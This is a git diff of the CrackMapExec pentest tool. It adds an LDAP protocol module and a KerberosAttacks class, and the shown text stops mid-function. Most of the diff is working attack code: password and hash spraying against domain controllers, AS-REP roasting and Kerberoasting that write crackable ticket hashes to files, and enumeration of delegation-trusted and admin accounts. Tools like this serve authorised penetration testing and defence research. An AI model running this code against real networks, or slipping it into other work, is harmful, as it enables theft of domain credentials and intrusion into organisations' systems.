diff --git a/.github/workflows/crackmapexec.yml b/.github/workflows/crackmapexec.yml index ad6ea739a..f2de2df00 100644 --- a/.github/workflows/crackmapexec.yml +++ b/.github/workflows/crackmapexec.yml @@ -18,7 +18,7 @@ jobs: - name: CrackMapExec tests on ${{ matrix.os }} uses: actions/setup-python@v1 with: - python-version: 3.8 + python-version: 3.7 - name: Install dependencies run: | python -m pip install --upgrade pip diff --git a/.gitignore b/.gitignore index d04ba9b27..e0e22d407 100755 --- a/.gitignore +++ b/.gitignore @@ -6,6 +6,7 @@ data/cme.db # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] +bin/ # C extensions *.so @@ -33,6 +34,7 @@ var/ # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec +!crackmapexec.spec # Installer logs pip-log.txt diff --git a/README.md b/README.md index ee9b035b3..9915cc3f9 100755 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg) +![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg) # CrackMapExec diff --git a/cme/cli.py b/cme/cli.py index 5935bf444..28ceed811 100755 --- a/cme/cli.py +++ b/cme/cli.py @@ -6,8 +6,8 @@ def gen_cli_args(): - VERSION = '5.0.2dev' - CODENAME = 'P3l1as' + VERSION = '5.1.0dev' + CODENAME = '3TH@n' p_loader = protocol_loader() protocols = p_loader.get_protocols() @@ -48,8 +48,8 @@ def gen_cli_args(): std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames") std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords") std_parser.add_argument("-k", "--kerberos", action='store_true', help="Use Kerberos authentication from ccache file (KRB5CCNAME)") - std_parser.add_argument("--aesKey", action='store_true', help="AES key to use for Kerberos Authentication (128 or 256 bits)") - std_parser.add_argument("--kdcHost", action='store_true', help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + std_parser.add_argument("--aesKey", metavar="AESKEY", nargs='+', help="AES key to use for Kerberos Authentication (128 or 256 bits)") + std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") fail_group = std_parser.add_mutually_exclusive_group() fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts') diff --git a/cme/connection.py b/cme/connection.py index 62fe533c8..6e7322936 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -79,11 +79,11 @@ def proto_flow(self): self.enum_host_info() self.proto_logger() self.print_host_info() - self.login() - if hasattr(self.args, 'module') and self.args.module: - self.call_modules() - else: - self.call_cmd_args() + if self.login(): + if hasattr(self.args, 'module') and self.args.module: + self.call_modules() + else: + self.call_cmd_args() def call_cmd_args(self): for k, v in vars(self.args).items(): @@ -227,7 +227,7 @@ def login(self): if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return True else: if self.plaintext_login(usr.strip(), f_pass.strip()): return True - + user.seek(0) # added june 2020, may break everything but solve this issue cme smb file -u file -p file elif isinstance(user, str): if hasattr(self.args, 'hash') and self.args.hash: with sem: diff --git a/cme/crackmapexec.py b/cme/crackmapexec.py index 73855b64b..491af9af7 100755 --- a/cme/crackmapexec.py +++ b/cme/crackmapexec.py @@ -212,3 +212,6 @@ def main(): if module_server: module_server.shutdown() + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/cme/first_run.py b/cme/first_run.py index 2567499d1..a1cf099eb 100755 --- a/cme/first_run.py +++ b/cme/first_run.py @@ -10,6 +10,8 @@ CME_PATH = os.path.expanduser('~/.cme') TMP_PATH = os.path.join('/tmp', 'cme_hosted') +if os.name == 'nt': + TMP_PATH = os.getenv('LOCALAPPDATA') + '\\Temp\\cme_hosted' WS_PATH = os.path.join(CME_PATH, 'workspaces') CERT_PATH = os.path.join(CME_PATH, 'cme.pem') CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf') diff --git a/cme/logger.py b/cme/logger.py index 5efe044e0..e72bc4b36 100755 --- a/cme/logger.py +++ b/cme/logger.py @@ -69,8 +69,8 @@ def info(self, msg, *args, **kwargs): msg, kwargs = self.process(u'{} {}'.format(colored("[*]", 'blue', attrs=['bold']), msg), kwargs) self.logger.info(msg, *args, **kwargs) - def error(self, msg, *args, **kwargs): - msg, kwargs = self.process(u'{} {}'.format(colored("[-]", 'red', attrs=['bold']), msg), kwargs) + def error(self, msg, color='red', *args, **kwargs): + msg, kwargs = self.process(u'{} {}'.format(colored("[-]", color, attrs=['bold']), msg), kwargs) self.logger.error(msg, *args, **kwargs) def debug(self, msg, *args, **kwargs): diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py new file mode 100644 index 000000000..ee79a90d2 --- /dev/null +++ b/cme/protocols/ldap.py @@ -0,0 +1,591 @@ +# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py +# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf + +import requests +import logging +import configparser +from cme.connection import * +from cme.helpers.logger import highlight +from cme.logger import CMEAdapter +from cme.protocols.ldap.kerberos import KerberosAttacks +from impacket.smbconnection import SMBConnection, SessionError +from impacket.smb import SMB_DIALECT +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION +from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS +from impacket.krb5.types import KerberosTime, Principal +from impacket.ldap import ldap as ldap_impacket +from impacket.krb5 import constants +from impacket.ldap import ldapasn1 as ldapasn1_impacket +from io import StringIO + +class ldap(connection): + + def __init__(self, args, db, host): + self.domain = None + self.server_os = None + self.os_arch = 0 + self.hash = None + self.ldapConnection = None + self.lmhash = '' + self.nthash = '' + self.baseDN = '' + self.remote_ops = None + self.bootkey = None + self.output_filename = None + self.smbv1 = None + self.signing = False + self.smb_share_name = smb_share_name + + connection.__init__(self, args, db, host) + + @staticmethod + def proto_args(parser, std_parser, module_parser): + ldap_parser = parser.add_parser('ldap', help="own stuff using ldap", parents=[std_parser, module_parser]) + ldap_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') + ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') + ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") + ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)") + dgroup = ldap_parser.add_mutually_exclusive_group() + dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") + dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') + + egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") + egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat") + egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat') + + vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") + vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") + vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") + + return parser + + def proto_logger(self): + self.logger = CMEAdapter(extra={ + 'protocol': 'LDAP', + 'host': self.host, + 'port': self.args.port, + 'hostname': self.hostname + }) + + def get_os_arch(self): + try: + stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) + transport = DCERPCTransportFactory(stringBinding) + transport.set_connect_timeout(5) + dce = transport.get_dce_rpc() + if self.args.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.connect() + try: + dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) + except (DCERPCException, e): + if str(e).find('syntaxes_not_supported') >= 0: + dce.disconnect() + return 32 + else: + dce.disconnect() + return 64 + + except Exception as e: + logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e))) + + return 0 + + def enum_host_info(self): + self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] + + try: + self.conn.login('' , '') + except: + #if "STATUS_ACCESS_DENIED" in e: + pass + + self.domain = self.conn.getServerDNSDomainName() + self.hostname = self.conn.getServerName() + self.server_os = self.conn.getServerOS() + self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning'] + self.os_arch = self.get_os_arch() + + self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) + + if not self.domain: + self.domain = self.hostname + + try: + '''plaintext_login + DC's seem to want us to logoff first, windows workstations sometimes reset the connection + (go home Windows, you're drunk) + ''' + self.conn.logoff() + except: + pass + + if self.args.domain: + self.domain = self.args.domain + + if self.args.local_auth: + self.domain = self.hostname + + #Re-connect since we logged off + self.create_conn_obj() + + def print_host_info(self): + self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os, + ' x{}'.format(self.os_arch) if self.os_arch else '', + self.hostname, + self.domain, + self.signing, + self.smbv1)) + + def kerberos_login(self, aesKey, kdcHost): + # Create the baseDN + domainParts = self.domain.split('.') + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + if self.kdcHost is not None: + target = self.kdcHost + else: + target = self.domain + + try: + self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, + self.aesKey, kdcHost=self.kdcHost) + except ldap_impacket.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) + self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, + self.aesKey, kdcHost=self.kdcHost) + + return True + + + def plaintext_login(self, domain, username, password): + self.username = username + self.password = password + self.domain = domain + # Create the baseDN + domainParts = self.domain.split('.') + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + if self.kdcHost is not None: + target = self.kdcHost + else: + target = domain + + # Connect to LDAP + try: + self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) + self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + except ldap_impacket.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) + self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + try: + self.ldapConnection.search(searchFilter='(objectCategory=nop)') + out = u'{}{}:{}'.format('{}\\'.format(domain), + username, + password) + self.logger.success(out) + except ldap_impacket.LDAPSearchError as e: + if self.password == '': + hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) + if hash_TGT: + self.logger.highlight(u'{}'.format(hash_TGT)) + with open(self.args.asreproast, 'a+') as hash_asreproast: + hash_asreproast.write(hash_TGT + '\n') + else: + self.logger.error(u'{}\{}:{}'.format(self.domain, + self.username, + self.password)) + + return False + + return True + + def hash_login(self, domain, username, ntlm_hash): + lmhash = '' + nthash = '' + + #This checks to see if we didn't provide the LM Hash + if ntlm_hash.find(':') != -1: + lmhash, nthash = ntlm_hash.split(':') + else: + nthash = ntlm_hash + + self.hash = ntlm_hash + if lmhash: self.lmhash = lmhash + if nthash: self.nthash = nthash + + self.username = username + self.domain = domain + # Create the baseDN + domainParts = self.domain.split('.') + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + if self.kdcHost is not None: + target = self.kdcHost + else: + target = domain + + # Connect to LDAP + try: + self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) + self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + except ldap_impacket.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) + self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + try: + self.ldapConnection.search(searchFilter='(objectCategory=nop)') + out = u'{}{}:{}'.format('{}\\'.format(domain), + username, + nthash) + self.logger.success(out) + except ldap_impacket.LDAPSearchError as e: + self.logger.error(u'{}\{}:{}'.format(self.domain, + self.username, + self.nthash)) + + return False + + return True + + def create_smbv1_conn(self): + try: + self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) + self.smbv1 = True + except socket.error as e: + if str(e).find('Connection reset by peer') != -1: + logging.debug('SMBv1 might be disabled on {}'.format(self.host)) + return False + except Exception as e: + logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e)) + return False + + return True + + def create_smbv3_conn(self): + try: + self.conn = SMBConnection(self.host, self.host, None, 445) + self.smbv1 = False + except socket.error: + return False + except Exception as e: + logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) + return False + + return True + + def create_conn_obj(self): + if self.create_smbv1_conn(): + return True + elif self.create_smbv3_conn(): + return True + + return False + + def getUnixTime(self, t): + t -= 116444736000000000 + t /= 10000000 + return t + + def asreproast(self): + if self.password == '' and self.nthash != '' and self.kerberos != False: + return False + # Building the search filter + searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ + "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ + (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) + + try: + logging.debug('Search Filter=%s' % searchFilter) + resp = self.ldapConnection.search(searchFilter=searchFilter, + attributes=['sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=999) + except ldap_impacket.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + return False + + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = "0x%x" % int(attribute['vals'][0]) + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + if mustCommit is True: + answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.debug('Skipping item, cannot process due to error %s' % str(e)) + pass + if len(answers)>0: + for user in answers: + hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0]) + self.logger.highlight(u'{}'.format(hash_TGT)) + with open(self.args.asreproast, 'a+') as hash_asreproast: + hash_asreproast.write(hash_TGT + '\n') + return True + else: + self.logger.error("No entries found!") + + def kerberoasting(self): + # Building the search filter + searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" + + try: + resp = self.ldapConnection.search(searchFilter=searchFilter, + attributes=['servicePrincipalName', 'sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=999) + except ldap_impacket.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + return False + + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + SPNs = [] + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + delegation = '' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = str(attribute['vals'][0]) + if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: + delegation = 'unconstrained' + elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = 'constrained' + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'servicePrincipalName': + for spn in attribute['vals']: + SPNs.append(str(spn)) + + if mustCommit is True: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + logging.debug('Bypassing disabled account %s ' % sAMAccountName) + else: + for spn in SPNs: + answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation]) + except Exception as e: + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + if len(answers)>0: + users = dict( (vals[1], vals[0]) for vals in answers) + TGT = KerberosAttacks(self).getTGT_kerberoasting() + for user, SPN in users.items(): + try: + serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.domain, + self.kdcHost, + TGT['KDC_REP'], TGT['cipher'], + TGT['sessionKey']) + r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, user, SPN) + self.logger.highlight(u'{}'.format(r)) + with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: + hash_kerberoasting.write(r + '\n') + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('SPN: %s - %s' % (SPN,str(e))) + else: + self.logger.error("No entries found!") + + def trusted_for_delegation(self): + # Building the search filter + searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + try: + logging.debug('Search Filter=%s' % searchFilter) + resp = self.ldapConnection.search(searchFilter=searchFilter, + attributes=['sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=999) + except ldap_impacket.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + return False + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = "0x%x" % int(attribute['vals'][0]) + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + if mustCommit is True: + answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.debug('Skipping item, cannot process due to error %s' % str(e)) + pass + if len(answers)>0: + logging.debug(answers) + for value in answers: + self.logger.highlight(value[0]) + else: + self.logger.error("No entries found!") + return + + def admin_count(self): + # Building the search filter + searchFilter = "(adminCount=1)" + try: + logging.debug('Search Filter=%s' % searchFilter) + resp = self.ldapConnection.search(searchFilter=searchFilter, + attributes=['sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=999) + except ldap_impacket.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + return False + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = "0x%x" % int(attribute['vals'][0]) + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + if mustCommit is True: + answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.debug('Skipping item, cannot process due to error %s' % str(e)) + pass + if len(answers)>0: + logging.debug(answers) + for value in answers: + self.logger.highlight(value[0]) + else: + self.logger.error("No entries found!") + return + diff --git a/cme/protocols/ldap/__init__.py b/cme/protocols/ldap/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/cme/protocols/ldap/database.py b/cme/protocols/ldap/database.py new file mode 100644 index 000000000..498d0cdf6 --- /dev/null +++ b/cme/protocols/ldap/database.py @@ -0,0 +1,19 @@ +class database: + + def __init__(self, conn): + self.conn = conn + + @staticmethod + def db_schema(db_conn): + db_conn.execute('''CREATE TABLE "credentials" ( + "id" integer PRIMARY KEY, + "username" text, + "password" text + )''') + + db_conn.execute('''CREATE TABLE "hosts" ( + "id" integer PRIMARY KEY, + "ip" text, + "hostname" text, + "port" integer + )''') diff --git a/cme/protocols/ldap/db_navigator.py b/cme/protocols/ldap/db_navigator.py new file mode 100644 index 000000000..3950c839d --- /dev/null +++ b/cme/protocols/ldap/db_navigator.py @@ -0,0 +1,5 @@ +from cme.cmedb import DatabaseNavigator + + +class navigator(DatabaseNavigator): + pass diff --git a/cme/protocols/ldap/kerberos.py b/cme/protocols/ldap/kerberos.py new file mode 100644 index 000000000..41bf4d8d2 --- /dev/null +++ b/cme/protocols/ldap/kerberos.py @@ -0,0 +1,213 @@ +import logging +import random +from os import getenv +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue +from impacket.krb5.asn1 import TGS_REP, AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter +from impacket.krb5.ccache import CCache +from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS +from impacket.krb5.types import KerberosTime, Principal +from impacket.krb5 import constants +from impacket.ntlm import compute_lmhash, compute_nthash +from impacket.examples import logger +from binascii import hexlify, unhexlify +from datetime import datetime,timedelta + +class KerberosAttacks: + + def __init__(self, connection): + self.username = connection.username + self.password = connection.password + self.domain = connection.domain + self.hash = connection.hash + self.lmhash = '' + self.nthash = '' + self.aesKey = connection.aesKey + self.kdcHost = connection.kdcHost + self.kerberos = connection.kerberos + + if self.hash is not None: + if self.hash.find(':') != -1: + self.lmhash, self.nthash = self.hash.split(':') + else: + self.nthash = self.hash + + if self.password is None: + self.password = '' + + def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): + decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + + # According to RFC4757 (RC4-HMAC) the cipher part is like: + # struct EDATA { + # struct HEADER { + # OCTET Checksum[16]; + # OCTET Confounder[8]; + # } Header; + # OCTET Data[0]; + # } edata; + # + # In short, we're interested in splitting the checksum and the rest of the encrypted data + # + # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) + # last 12 bytes of the encrypted ticket represent the checksum of the decrypted + # ticket + if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + else: + logging.error('Skipping %s/%s due to incompatible e-type %d' % ( + decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], + decodedTGS['ticket']['enc-part']['etype'])) + + return entry + + def getTGT_kerberoasting(self): + try: + ccache = CCache.loadFile(getenv('KRB5CCNAME')) + except: + # No cache present + pass + else: + # retrieve user and domain information from CCache file if needed + if self.domain == '': + domain = ccache.principal.realm['data'] + else: + domain = self.domain + logging.debug("Using Kerberos Cache: %s" % getenv('KRB5CCNAME')) + principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + logging.debug('Using TGT from cache') + return TGT + else: + logging.debug("No valid credentials found in cache. ") + + # No TGT in cache, request it + userName = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the + # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the + # cleartext password. + # If no clear text password is provided, we just go with the defaults. + if self.password != '' and (self.lmhash == '' and self.nthash == ''): + try: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.domain, + compute_lmhash(self.password), + compute_nthash(self.password), self.aesKey, + kdcHost=self.kdcHost) + except Exception as e: + logging.debug('TGT: %s' % str(e)) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain, + unhexlify(self.lmhash), + unhexlify(self.nthash), self.aesKey, + kdcHost=self.kdcHost) + + else: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain, + unhexlify(self.lmhash), + unhexlify(self.nthash), self.aesKey, + kdcHost=self.kdcHost) + TGT = {} + TGT['KDC_REP'] = tgt + TGT['cipher'] = cipher + TGT['sessionKey'] = sessionKey + + return TGT + + def getTGT_asroast(self, userName, requestPAC=True): + + clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + asReq = AS_REQ() + + domain = self.domain.upper() + serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + pacRequest = KERB_PA_PAC_REQUEST() + pacRequest['include-pac'] = 